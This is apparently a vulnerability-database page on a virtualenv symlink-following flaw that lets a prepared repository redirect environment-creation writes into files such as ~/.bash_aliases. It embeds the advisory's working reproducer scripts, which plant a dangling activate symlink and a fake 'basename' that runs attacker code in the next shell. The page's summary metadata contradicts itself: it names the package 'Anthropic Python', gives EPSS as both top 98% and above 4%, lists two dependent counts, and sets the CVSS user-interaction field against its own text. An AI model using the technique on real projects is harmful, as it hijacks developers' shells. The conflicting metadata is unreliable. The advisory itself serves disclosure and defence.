CVE-2026-113721: virtualenv: symlink following allows file overwrite

GHSA-558c-9hv2-4prjMEDIUM
Published October 22, 2026
CISO Take

virtualenv before 21.14.9 follows pre-existing symlinks and hard links when writing activation scripts and pyvenv.cfg, so creating an environment inside a hostile project tree can create or overwrite files outside the environment with the invoking user's permissions. Severity is medium (CVSS 4.5): it needs local access, a prepared destination, and user action, and the attacker cannot control the written content. The EPSS percentile (top 98%) looks high but the absolute score is only 0.00117, there is no public exploit or Nuclei template, and it is not in CISA KEV. The blast radius is wide, with 6,390 downstream dependents, and the real exposure is developers and CI runners that create virtualenvs inside cloned, untrusted repositories, since the reporter's proof of concept turns a planted symlink into code execution via ~/.bash_aliases. Upgrade to virtualenv 21.14.9 and avoid creating environments in trees populated by other accounts or untrusted checkouts.

Sources:NVDEPSSGitHub AdvisoryATLASOpenSSF

What is the risk?

Medium overall. Exploitation needs a prepared symlink in the destination, user action (running virtualenv) and write permission at the link target, so complexity is high. The attacker chooses the target path but not the content, which limits direct impact. Chaining to code execution is possible where a shell startup file sources a created file, as in the reporter's PoC. Exposure is highest on developer workstations, shared build hosts and CI that process untrusted repositories, including AI/ML projects that routinely clone third-party code. Exploitation in the wild is not observed, and this is a general Python tooling flaw rather than an AI-specific one.

How does the attack unfold?

Initial Access
Attacker distributes a repository containing dangling symlinks in venv/bin and a planted executable.
AML.T0010.001
User Execution
Victim or an automated agent clones the repo and runs virtualenv to create the environment.
AML.T0011
Exploitation
virtualenv's exists() check misses the dangling link and writes generated bytes through it to a file outside the environment.
Impact
A created or overwritten shell startup file leads to attacker code running in the next shell session with the user's privileges.

What systems are affected?

PackageEcosystemVulnerable RangePatched
Anthropic Pythonpip< 21.14.921.14.9
4.0K5.4K dependentsPushed 8d ago93% patched~9d to patchFull package profile →

Do you use Anthropic Python? You're affected.

How severe is it?

CVSS 3.1
4.5 / 10
EPSS
0.1%
chance of exploitation in 30 days
Higher than 4% of all CVEs
Exploitation Status
No known exploitation
Sophistication
Moderate

What is the attack surface?

AVACPRUISCIA
AVLocal
ACHigh
PRLow
UINone
SUnchanged
CLow
ILow
ALow

What should I do?

1 step
  1. 1) Upgrade virtualenv to 21.14.9 or later in developer images, CI runners, base containers and pinned requirements (pip install -U 'virtualenv>=21.14.9'). 2) Create environments only in fresh directories under an owner-controlled parent; do not create them over trees populated by another account or untrusted clones. 3) Before creating an environment in a cloned repo, check for symlinks in it (find . -type l) and remove any pre-existing venv directory. 4) Run CI jobs that handle untrusted repositories in ephemeral, unprivileged containers without access to real home directories. 5) Detection: monitor for unexpected creation or modification of ~/.bashrc, ~/.bash_aliases and other shell startup files, and for dangling symlinks under venv/bin in repositories. 6) Review AI coding agents' permissions when they bootstrap environments in unvetted repositories.

How is it classified?

Supply ChainCode ExecutionFrameworkAML.T0010.001AML.T0011

Which compliance frameworks are affected?

This CVE is relevant to:

ISO 42001
A.10.3-Suppliers
NIST AI RMF
MANAGE 2.3-Responses to previously unknown risks and supply chain risks
OWASP LLM Top 10
LLM03-Supply Chain

Frequently Asked Questions

What is CVE-2026-113721?

virtualenv before 21.14.9 follows pre-existing symlinks and hard links when writing activation scripts and pyvenv.cfg, so creating an environment inside a hostile project tree can create or overwrite files outside the environment with the invoking user's permissions. Severity is medium (CVSS 4.5): it needs local access, a prepared destination, and user action, and the attacker cannot control the written content. The EPSS percentile (top 98%) looks high but the absolute score is only 0.00117, there is no public exploit or Nuclei template, and it is not in CISA KEV. The blast radius is wide, with 6,390 downstream dependents, and the real exposure is developers and CI runners that create virtualenvs inside cloned, untrusted repositories, since the reporter's proof of concept turns a planted symlink into code execution via ~/.bash_aliases. Upgrade to virtualenv 21.14.9 and avoid creating environments in trees populated by other accounts or untrusted checkouts.

Is CVE-2026-113721 actively exploited?

No confirmed active exploitation of CVE-2026-113721 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-113721?

1) Upgrade virtualenv to 21.14.9 or later in developer images, CI runners, base containers and pinned requirements (pip install -U 'virtualenv>=21.14.9'). 2) Create environments only in fresh directories under an owner-controlled parent; do not create them over trees populated by another account or untrusted clones. 3) Before creating an environment in a cloned repo, check for symlinks in it (find . -type l) and remove any pre-existing venv directory. 4) Run CI jobs that handle untrusted repositories in ephemeral, unprivileged containers without access to real home directories. 5) Detection: monitor for unexpected creation or modification of ~/.bashrc, ~/.bash_aliases and other shell startup files, and for dangling symlinks under venv/bin in repositories. 6) Review AI coding agents' permissions when they bootstrap environments in unvetted repositories.

What systems are affected by CVE-2026-113721?

This vulnerability affects the following AI/ML architecture patterns: training pipelines, model serving, agent frameworks, developer workstations, CI/CD build pipelines, notebook environments.

What is the CVSS score for CVE-2026-113721?

CVE-2026-113721 has a CVSS v3.1 base score of 4.5 (MEDIUM). The EPSS exploitation probability is 0.14%.

What is the AI security impact?

Affected AI Architectures

training pipelinesmodel servingagent frameworksdeveloper workstationsCI/CD build pipelinesnotebook environments

MITRE ATLAS Techniques

AML.T0010.001AI Software
AML.T0011User Execution

Compliance Controls Affected

ISO 42001: A.10.3
NIST AI RMF: MANAGE 2.3
OWASP LLM Top 10: LLM03

What are the technical details?

Original Advisory

## Summary Generated activation files and pyvenv.cfg can follow existing links and write outside the requested environment. The template writer tests exists() before unlinking, which misses dangling symlinks; the configuration writer opens the existing path directly. Anthropic's OSS Scanner reported this as `ANT-2026-XBEOCBS1` in `virtualenv-20261015-005`, received on 15 October 2026. ## Affected area Final file entries written during environment creation and seeding. ## Attacker-controlled input Another account must be able to prepare file links in the destination before creation. The invoking user must have write permission at the linked target. The destination parent must remain controlled during creation; concurrent parent-directory replacement is a separate concern. ## Affected code The relevant 21.14.8 source is in [template writer](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/via_template.py), [configuration writer](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/pyenv_cfg.py). ## Mechanism `ViaTemplateActivator._generate()` removes an existing output only when `Path.exists()` is true. A dangling symlink therefore survives, and `write_bytes()` creates its target outside the environment. Other generated files have related final-entry behavior. `PyEnvCfg.write()` opens `pyvenv.cfg` without first replacing an existing link; a symlink or hard link there can overwrite an existing target. These paths require a prepared destination tree and the invoking user's permission to write the linked target. ## Reproduction and evidence The scanner's project tree contains `venv/bin/activate -> ../../../.bash_aliases` and an executable `venv/bin/basename`. Before creation, a new interactive bash does not create the marker. A plain `virtualenv venv` writes the activation script through the dangling link, creating `~/.bash_aliases` as a regular file. Debian's stock `.bashrc` sources that file; the next interactive bash adds `venv/bin` to `PATH` and the planted `basename` writes the marker. The reproducer checks that the link remains, `~/.bash_aliases` appears, and the second shell executes the planted file. A separate manual check links `pyvenv.cfg` to `~/.bashrc` and observes the latter replaced with generated configuration text. The link lets creation write outside the requested environment. The attacker chooses the target path but the generated bytes come from virtualenv. The executable in the example was already in the prepared tree; this finding is not arbitrary code injection into an otherwise trusted destination. The scanner traces the template behavior to #1454, first released in 20.0.0b1. [PR #3431](https://github.com/pypa/virtualenv/pull/3431) replaces pre-existing output links and uses exclusive creation for generated text. It does not make a destination safe if another account can replace parent directories during creation. ## Attack sequence ```mermaid sequenceDiagram participant A as Prepared project tree participant V as virtualenv writer participant H as User home participant B as Next interactive bash A->>V: venv/bin/activate links to missing ~/.bash_aliases V->>V: Path.exists() follows link and returns false V->>H: write activation bytes through link H-->>B: ~/.bash_aliases now exists B->>H: .bashrc sources ~/.bash_aliases B->>A: PATH reaches planted venv/bin/basename A-->>B: marker created Note over V,H: pyvenv.cfg can also overwrite an existing linked target ``` ## Reproducer files The following files are from the scanner report for `ANT-2026-XBEOCBS1`. They were tested against commit `a857a7823c73` in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update. **`repro`** ```text #!/usr/bin/env python3 import os import shutil import subprocess import sys import tempfile # set up: a fresh home with Debian's stock ~/.bashrc, which sources ~/.bash_aliases when that file exists home = tempfile.mkdtemp(prefix="home-") shutil.copy("/etc/skel/.bashrc", f"{home}/.bashrc") bash_aliases = f"{home}/.bash_aliases" marker = f"{home}/attacker-ran" open_terminal = ["bash", "-i", "-c", "true"] terminal_env = {"HOME": home, "PATH": "/usr/bin:/bin", "TERM": "dumb"} # the attacker's repository, cloned by the user to ~/proj checkout = f"{home}/proj" subprocess.run([sys.executable, "/tmp/repro.d/make_hostile_checkout.py", checkout], check=True) activate = f"{checkout}/venv/bin/activate" print("shipped: venv/bin/activate ->", os.readlink(activate), flush=True) # a terminal opened before virtualenv runs does not touch the checkout (stderr: bash -i without a tty warns) subprocess.run(open_terminal, env=terminal_env, stderr=subprocess.DEVNULL, check=True) print("before virtualenv: ~/.bash_aliases exists:", os.path.lexists(bash_aliases), "| marker exists:", os.path.exists(marker), flush=True) assert not os.path.lexists(bash_aliases) and not os.path.exists(marker) # trigger: the user creates an environment in the checkout, then opens a new terminal subprocess.run(["virtualenv", "--no-periodic-update", "venv"], cwd=checkout, env={**os.environ, "HOME": home}, check=True) subprocess.run(open_terminal, env=terminal_env, stderr=subprocess.DEVNULL, check=True) # check: the activation script belongs in venv/bin/activate; it must not be written through the link to ~/.bash_aliases print("venv/bin/activate is still the symlink:", os.path.islink(activate)) written_outside = os.path.isfile(bash_aliases) and not os.path.islink(bash_aliases) print("~/.bash_aliases created as a regular file:", written_outside) if written_outside: print(" its first line:", open(bash_aliases).readline().rstrip()) attacker_code_ran = os.path.exists(marker) print("after a new terminal, marker exists:", attacker_code_ran) if attacker_code_ran: print(" it says:", open(marker).read().rstrip()) print("BUG" if written_outside and attacker_code_ran else "OK") ``` **`repro.d/fake_basename.sh`** ```text #!/bin/sh echo "attacker code ran as $(id -un)" > "$HOME/attacker-ran" exec /usr/bin/basename "$@" ``` **`repro.d/make_hostile_checkout.py`** ```text import os import shutil import sys checkout = sys.argv[1] bin_dir = os.path.join(checkout, "venv", "bin") os.makedirs(bin_dir) # venv/bin/../../.. is the directory holding the checkout, i.e. ~ for a clone at ~/proj; ~/.bash_aliases does not exist os.symlink("../../../.bash_aliases", os.path.join(bin_dir, "activate")) # the bash activation script runs $(basename "$VIRTUAL_ENV") right after putting venv/bin first on PATH fake_basename = os.path.join(bin_dir, "basename") shutil.copy(os.path.join(os.path.dirname(__file__), "fake_basename.sh"), fake_basename) os.chmod(fake_basename, 0o755) ``` ## Impact Creation can overwrite or create files outside the requested environment with the invoking user's permissions. File contents are constrained by what virtualenv generates. Severity: medium. CVSS 4.5, `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L`, assigned during maintainer review. ## Versions tested The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9. The fix replaces existing entries, including symbolic and hard links, and exclusively creates generated text files. Before stdlib creation it replaces executable-directory symlinks and Windows junctions with real directories. It then removes symbolic and hard links inside that directory, including interpreter executables and DLLs, and at the configuration and ignore file paths. This also removes unrelated links directly in the executable directory. Final seed-launcher links are replaced. Exclusive creation protects the final text-file open; delegated stdlib and distlib writes still require a destination protected from concurrent replacement. Fix: [PR #3431](https://github.com/pypa/virtualenv/pull/3431). ## Known mitigation Use a fresh destination beneath an owner-controlled parent. Avoid creation over a tree populated by another account. ## Affected release - [x] The problem reproduces on virtualenv 21.14.8. ## Credits Reported by Anthropic's OSS Scanner as ANT-2026-XBEOCBS1.

Exploitation Scenario

An attacker publishes a repository, such as an ML demo or agent project, containing venv/bin/activate as a dangling symlink to ../../../.bash_aliases plus an executable named basename in venv/bin. A developer or an AI coding agent clones it to ~/proj and runs virtualenv venv. Because the old Path.exists() check follows the dangling link and returns false, virtualenv writes its activation script through the link and creates ~/.bash_aliases. The next interactive bash sources that file, puts venv/bin first on PATH and runs the planted basename, executing attacker code with the user's privileges. A related variant links pyvenv.cfg to an existing file such as ~/.bashrc, which then gets overwritten.

Weaknesses (CWE)

CWE-59 — Improper Link Resolution Before File Access ('Link Following'): The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.

  • [Architecture and Design] Follow the principle of least privilege when assigning access rights to entities in a software system. Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L

Timeline

Published
October 22, 2026
Last Modified
October 28, 2026
First Seen
October 22, 2026

Related Vulnerabilities